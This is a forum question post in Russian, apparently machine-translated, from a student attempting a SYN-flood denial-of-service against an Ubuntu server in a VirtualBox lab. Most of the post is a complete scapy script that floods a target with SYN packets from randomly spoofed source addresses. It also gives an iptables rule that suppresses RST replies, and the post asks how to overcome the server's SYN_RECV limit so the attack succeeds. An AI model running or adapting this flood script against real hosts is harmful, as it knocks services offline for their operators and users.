Ограничения сервера Ubuntu до 5 SYN_RECV - PullRequest
1 голос
/ 10 июля 2019

Для школьного проекта я пытаюсь сделать DOS на сервере Ubuntu (18.04), используя рабочий стол Ubuntu 18.04 с scapy. Они оба размещены как виртуальные машины на VirtualBox. На стороне сервера у меня есть Python SimpleHTTPServer на порту 80, который доступен для настольного компьютера и доступен через браузер. Я пытаюсь сделать это с помощью этого кода:

#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
    #creating packet
    # insert IP header fields
    tcp = TCP()
    ip = IP()
    #set source IP as random valid IP
    ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
    ip.dst = target
    # insert TCP header fields
    tcp = TCP()
    #set source port as random valid port
    tcp.sport = random.randint(1,65535)
    tcp.dport = port
    #set SYN flag
    tcp.flags = 'S'
    send(ip/tcp)
    return ;
#control arguments
if len(sys.argv) != 3:
    print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
    sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
    #call SYNFlood attack
    sendSYN(target,port)
    count += 1
    print("Total packets sent: %i" % count)
    print("==========================================")

, который в основном отправляет бесконечное количество запросов SYN на целевой компьютер через указанный пользователем порт. Его использование: sudo python pythonDOS.py <target IP> <target port>. Перед запуском этого я делаю sudo iptables -A OUTPUT -p tcp -s <attacker IP> RST RST -j DROP на атакующей машине, чтобы ядро ​​не отправляло запрос RST. Кажется, атака работает: на проводнике на компьютере злоумышленника я вижу, что пакеты отправляются правильно, но сервер не выходит из строя. Запустив netstat -antp | grep 80 на целевом сервере, я получаю следующие выходные данные:

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.1.51:80         35.206.32.111:50544     SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         138.221.76.4:24171      SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         164.253.235.187:64186   SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         55.107.244.119:17977    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         85.158.134.238:37513    SYN_RECV    -                   

и если я перезапущу команду через несколько секунд:

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 192.168.1.51:80         100.58.218.121:10306    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         35.206.32.111:50544     SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         47.206.177.213:39759    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         55.107.244.119:17977    SYN_RECV    -                   
tcp        0      0 192.168.1.51:80         85.158.134.238:37513    SYN_RECV    -                   

Похоже, что сервер может обработать максимум 5 SYN_RECV, хотя я делаю сотни таких запросов с компьютера атакующего, поэтому я думаю, что именно поэтому я не могу DOS-сервер. UFW отключен. Моя цель - отключить или понять, что происходит на сервере, и отключить его для выполнения атаки DOS. Любая помощь приветствуется, спасибо заранее.

ОБНОВЛЕНИЕ: я установил tshark на целевом сервере, и из этого я вижу, что все отправляемые пакеты принимаются на сервере, поэтому они не теряются при обмене данными между двумя виртуальными машинами. Также работает netstat -i Я вижу, что нет RX_DROP.

...